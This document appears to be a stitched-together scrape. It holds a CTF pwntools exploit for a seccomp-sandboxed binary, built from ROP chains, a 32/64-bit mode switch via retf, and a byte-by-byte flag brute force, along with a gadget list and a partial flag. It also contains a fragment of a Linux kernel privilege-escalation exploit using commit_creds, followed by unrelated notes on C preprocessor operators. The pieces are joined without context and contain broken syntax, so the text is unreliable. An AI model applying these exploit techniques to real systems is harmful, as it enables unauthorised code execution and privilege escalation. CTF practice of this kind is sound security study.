# A preparation in bss+0x1000-0x500 payload += p64(0x0000000000401734) # : pop rdi ; pop rbp ; ret payload += p64(bss+0x1000-0x500) payload += p64(0) payload += p64(0x0000000000401170) # read in bss
# real coming rop payload += p64(0x0000000000401734) # : pop rdi ; pop rbp ; ret payload += p64(bss+0x1000-0x8) payload += p64(0) payload += p64(0x0000000000401170) # read in bss
payload += p64(0x0000000000401730) # : pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret payload += p64(bss+0x1000) # raw_input("Break1") sl(payload)
payload = "" payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(0x40172f) # : pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret payload += p64(0x200) payload += p64(0x0000000000401102) payload += p64(0) payload += p64(0) payload += p64(0x402c07) # <libc_start_main_stage2+32>: mov rdx,r12 payload += p64(0x0000000000401734) # : pop rdi ; pop rbp ; ret payload += p64(0) payload += p64(0) payload += p64(0x0000000000401732) # : pop rsi ; pop r15 ; pop rbp ; ret payload += p64(bss+0x1000+0x200+0x200) payload += p64(0) payload += p64(0) payload += p64(0x0000000000401001) # : pop rax ; ret payload += p64(0) payload += p64(0x0000000000408865) # : syscall payload += p64(0x0000000000401730) # : pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret payload += p64(bss+0x1000+0x200+0x200) # raw_input("Break2") sl(payload)
payload = "" payload += "/flag".ljust(8,"\x00") payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(0x40172f) # : pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret payload += p64(0x7) payload += p64(0x0000000000401102) payload += p64(0) payload += p64(0) payload += p64(0x402c07) # <libc_start_main_stage2+32>: mov rdx,r12 payload += p64(0x00000000004011ed) # : retf payload += p32(0x403072) #: pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret payload += p32(0x23) payload += p32(bss+0x1000-0x8) payload += p32(0) payload += p32(0) payload += p32(0) payload += p32(0x40117b) # : pop rcx ; ret payload += p32(0) payload += p32(0x401001) # : pop rax ; ret payload += p32(0x5) payload += p32(0x4011f3) # : int 0x80 payload += p32(0x4011ed) # : retf payload += p32(0x401734) # : pop payload += p32(0x33) payload += p64(bss+0x1000+0x200) payload += p64(0) payload += p64(0x0000000000401170) # read in bss payload += p64(0x0000000000401730) # : pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret payload += p64(bss+0x1000+0x200) # raw_input("Break3") sl(payload)
payload = "" payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(0x40172f) # : pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret payload += p64(0x200) payload += p64(0x0000000000401102) payload += p64(0) payload += p64(0) payload += p64(0x402c07) # <libc_start_main_stage2+32>: mov rdx,r12 payload += p64(0x0000000000401734) # : pop rdi ; pop rbp ; ret payload += p64(3) payload += p64(0) payload += p64(0x0000000000401732) # : pop rsi ; pop r15 ; pop rbp ; ret payload += p64(bss) payload += p64(0) payload += p64(0) payload += p64(0x0000000000401001) # : pop rax ; ret payload += p64(0) payload += p64(0x0000000000408865) # : syscall payload += p64(0x0000000000401730) # : pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret payload += p64(bss+0x1000-0x500) # raw_input("Break4") s(payload)
# set rdx border payload += p64(0x40172f) # : pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret payload += p64(border-offset) # <= rdx payload += p64(0x401102) payload += p64(0) payload += p64(0) payload += p64(0x402c07) # <libc_start_main_stage2+32>: mov rdx,r12
# set rsi flag_addr payload += p64(0x0000000000401732) # : pop rsi ; pop r15 ; pop rbp ; ret payload += p64(bss) payload += p64(0) payload += p64(0)
# set rax index payload += p64(0x0000000000401001) # : pop rax ; ret payload += p64(index)
# set rbx sero payload += p64(0x403072) #: pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret payload += p64(0) payload += p64(0x0000000000401002) # RET payload += p64(0)*2 payload += p64(0x00000000004011be)
payload += p64(0x0000000000401734) # : pop rdi ; pop rbp ; ret payload += p64(bss+0x1000-0x200) # tmp payload += p64(0) payload += p64(0x0000000000401170) # read in bss
sl(payload) p.recv(timeout=1)
# while True: if __name__ == '__main__': flag = "" for index inrange(0x30): for offset inrange(0x20,0x7f): try: p = process(binary) pwn(p,index,offset) flag += chr(offset) break # sh() except: print("[+] testing %c flag => %s"%(offset,flag)) p.close()
''' line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x25 0x03 0x00 0x40000000 if (A > 0x40000000) goto 0005 0002: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0006 0003: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0006 0004: 0x15 0x01 0x00 0x00000025 if (A == alarm) goto 0006 0005: 0x06 0x00 0x00 0x00000000 return KILL 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0x000000000040288d : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x000000000040172f : pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret 0x000000000040288f : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401731 : pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401733 : pop r15 ; pop rbp ; ret 0x0000000000401001 : pop rax ; ret 0x0000000000402890 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401102 : pop rbp ; ret 0x000000000040172e : pop rbx ; pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000403072 : pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret 0x000000000040117b : pop rcx ; ret 0x0000000000401734 : pop rdi ; pop rbp ; ret 0x0000000000401732 : pop rsi ; pop r15 ; pop rbp ; ret 0x000000000040288e : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401730 : pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401002 : ret .text:00000000004011BE mov bl, [rsi+rax] .text:00000000004011C1 mov rdi, rbx .text:00000000004011C4 push r14 .text:00000000004011C6 retn 0x4011f3 <main+35>: int 0x80 0x4011f5 <main+37>: ret 0x402c07 <libc_start_main_stage2+32>: mov rdx,r12 0x402c0a <libc_start_main_stage2+35>: call r14 0x00000000004011ed : retf 0x0000000000403beb : mov qword ptr [rdi + rdx - 0x27], rax ; mov rax, rdi ; ret >>> from pwn import * >>> elf = ELF("./gadget") >>> print("".join(hex(_)+"\n" for _ in elf.search(asm("int 0x80",arch="i386")))) 0x4011f3 0x0000000000408865: syscall; ret; >>> asm("int 0x80",arch='i386') # '\xcd\x80' [+] testing 4 flag => SCTF{woww0w_y0u_1s_g4dget_m4 '''
/* from pwn import * vm = ELF("vmlinux") print("".join(hex(_)+"\n" for _ in vm.search(asm("xchg esp,eax;ret",arch="amd64")))) 0xffffffff81011cb0 0xffffffff81014a6a 0xffffffff810758c8 */
/* commit_creds 0xffffffff8108c360 prepare_kernel_cred 0xffffffff8108c780 (vmlinux/ELF/x86_64)> search mov rdi,rax 0xffffffff819b5764: mov rdi, rax; je 0xbb576f; mov rax, rdi; pop rbx; pop rbp; ret; 0xffffffff811b3ffa: mov rdi, rax; jne 0x3b3fca; pop rbx; ret; 0xffffffff811b407a: mov rdi, rax; jne 0x3b404a; pop rbx; ret; */ int i; buf[0] = K(0xffffffff81011cb0); // *((uint64_t*)((char*)buf + 0x60)) = K(0xffffffff81011cb0); // xchgx esp,eax;ret addr = mmap3(K(0xffffffff81011cb0)); if (addr == MAP_FAILED) { printf("mmap error"); exit(-1); }
The # operator, which is generally called the stringize operator, turns the argument it precedes into a quoted string
The ‘##’ pre-processing operator allows tokens used as actual arguments to be concatenated to form other tokens. It is often useful to merge two tokens into one while expanding macros. This is called token pasting or token concatenation. When a macro is expanded, the two tokens on either side of each ‘##’ operator are combined into a single token, which then replaces the ‘##’ and the two original tokens in the macro expansion.
Preprocessor programs provide preprocessors directives which tell the compiler to preprocess the source code before compiling. All of these preprocessor directives begin with a ‘#’ (hash) symbol. The ‘#’ symbol indicates that, whatever statement starts with #, is going to the preprocessor program, and preprocessor program will execute this statement. Examples of some preprocessor directives are: #include, #define, #ifndef etc. Remember that # symbol only provides a path that it will go to the preprocessor, and command such as include is processed by preprocessor program. For example, include will include extra code to your program. We can place these preprocessor directives anywhere in our program.